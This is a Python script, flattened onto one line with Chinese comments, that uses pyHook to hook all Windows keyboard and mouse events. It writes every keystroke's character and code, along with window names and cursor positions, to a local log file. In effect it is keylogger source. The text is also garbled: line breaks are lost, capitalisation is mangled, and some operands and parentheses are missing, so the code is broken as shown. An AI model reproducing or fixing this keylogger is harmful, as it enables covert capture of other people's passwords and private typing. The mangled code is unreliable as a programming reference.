#-*-coding:utf-8-*-import pythoncom import pyhook import time Def onmouseevent (event): "Handling Mouse events" Fobj.writelines ('-' * + ' mouseevent Begin ' + '-' + ' \ n ') fobj.writelines ("Current time:%s\n"% TIME.STRFT IME ("%a,%d%b%Y%h:%m:%s", Time.gmtime ())) Fobj.writelines ("messagename:%s\n"% str (event). MessageName)) Fobj.writelines ("message:%d\n"% event. Message) Fobj.writelines ("time_sec:%d\n"% event.) Time) Fobj.writelines ("window:%s\n"% str (event). window)) fobj.writelines ("windowname:%s\n"% str (event). Windowname)) Fobj.writelines ("position:%s\n"% str (event. Position) fobj.writelines ('-' * + ' mouseevent end ' + '-' + ' \ n ') return True def Onkeyboardeven T (Event): "Handling Keyboard Events" Fobj.writelines ('-' * + ' keyboard Begin ' + '-' + ' \ n ') fobj.writelines ("C urrent time:%s\n "% time.strftime ("%a,%d%b%Y%h:%m:%s ", Time.gmtime ())) Fobj.writelines (" messagename:%s\n "% str (Event. MessageName)) Fobj.writelines ("message:%d\n"% event. Message) Fobj.writelines ("time:%d\n"% event.) Time) Fobj.writelines ("window:%s\n"% str (event). window)) fobj.writelines ("windowname:%s\n"% str (event). Windowname) Fobj.writelines ("Ascii_code:%d\n"% event.) ASCII) fobj.writelines ("ascii_char:%s\n"% Chr (event). ASCII)) Fobj.writelines ("key:%s\n"% str (event). Key)) Fobj.writelines ('-' * + ' keyboard end ' + '-' + ' \ n ') return True #打开日志文件 file_name = "e:\\ Hook_log.txt "fobj = open (file_name, ' W ') #创建hook句柄 HM = Pyhook.hookmanager () #监控键盘 hm. KeyDown = Onkeyboardevent hm. Hookkeyboard () #监控鼠标 hm. Mouseall = Onmouseevent hm. Hookmouse () #循环获取消息 pythoncom. Pumpmessages () #关闭日志文件 fobj.close ()